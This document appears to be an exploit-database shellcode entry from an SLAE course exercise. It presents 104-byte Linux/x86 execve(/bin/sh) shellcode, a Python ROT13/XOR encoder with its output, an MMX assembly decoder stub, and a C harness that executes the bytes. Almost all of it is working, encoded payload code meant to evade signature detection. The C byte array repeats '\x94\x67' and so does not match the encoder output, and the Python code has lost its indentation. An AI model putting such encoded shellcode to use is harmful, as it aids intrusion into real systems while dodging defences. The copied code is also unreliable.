Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)

# Title: Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)
# Author: Kartik Durg
# Shellcode Length: 104 BYTES
# Student-ID: SLAE-1233
# Write-up Link: https://iamroot.blog/2018/10/02/0x4-rot13_xor_encoder_mmx_decoder_shellcode-linux-x86/
# Tested on: Ubuntu 16.0.4.1 (i686)
 
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a). Python script for encoder
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#!/usr/bin/python
 
# ROT13 - XOR Encoder
 
#original execve-stack
shellcode =
("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
 
rot = 13
 
encoded = ""
encoded2 = ""
 
print 'Encoded shellcode ...'
 
for x in bytearray(shellcode) :
#ROT-13
shell_rot = (x + rot)%256
 
# XOR Encoding
xor_rot = shell_rot^0xAA
encoded += '\\x'
encoded += '%02x' %xor_rot
 
encoded2 += '0x'
encoded2 += '%02x,' %xor_rot
 
print encoded
 
print encoded2
 
print 'Len: %d' % len(bytearray(shellcode))
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OUTPUT:
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Encoded shellcode ...
\x94\x67\xf7\xdf\x96\x96\x2a\xdf\xdf\x96\xc5\xdc\xd1\x3c\x5a\xf7\x3c\x45\xca\x3c\x44\x17\xb2\x70\x27
0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27,
Len: 25
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b). Decoder for ROT13-XOR encoded shellcode using MMX instructions
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global _start
 
section .text
_start:
 
jmp short call_decoder
 
decoder1:
pop edi ;"edi" now points to "xor_value"
lea esi, [edi +16] ;"esi" now points to "Shellcode"
xor ecx, ecx
mov cl, 4 ;Size of our shellcode is 25|"qword" operates 8bytes ata time
hence 4*8=32|"loop" 4 times
 
XOR_decode:
movq mm0, qword [edi] ;move 8bytes of "xor_value" to mm0
movq mm1, qword [esi] ;move 8bytes of "Shellcode" to mm1
pxor mm0, mm1 ;Perform XOR operation
movq qword [esi], mm0 ;overwrite the "Shellcode" with previous results
add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode"
loop XOR_decode ;loop 4 times
 
decoder2:
lea edi, [edi +8] ;"edi" now points to "rot_value"
lea esi, [edi +8] ;"esi" now points to "Shellcode"|"Shellcode" contains
previous XOR'ed results
xor ecx, ecx
mov cl, 4 ;"loop" 4 times
 
ROT_decode:
movq mm2, qword [edi] ;move 8bytes of "rot_value" to mm2
movq mm3, qword [esi] ;move 8bytes of "Shellcode" to mm3
psubb mm3, mm2 ;Subtract 13 from "Shellcode"
movq qword [esi], mm3 ;overwrite the "Shellcode" with previous results
add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode"
loop ROT_decode ;"loop" 4 times
jmp short Shellcode ;Execute decoded shellcode
 
call_decoder:
 
call decoder1
xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
rot_value: db 13, 13, 13, 13, 13, 13, 13, 13
Shellcode: db
0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27
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c). Shellcode.c
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#include<stdio.h>
#include<string.h>
 
unsigned char shellcode[] = \
"\xeb\x36\x5f\x8d\x77\x10\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\x8d\x7f\x08\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x17\x0f\x6f\x1e\x0f\xf8\xda\x0f\x7f\x1e\x83\xc6\x08\xe2\xef\xeb\x15\xe8\xc5\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x94\x67\x94\x67\xf7\xdf\x96\x96\x2a\xdf\xdf\x96\xc5\xdc\xd1\x3c\x5a\xf7\x3c\x45\xca\x3c\x44\x17\xb2\x70\x27";
 
main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
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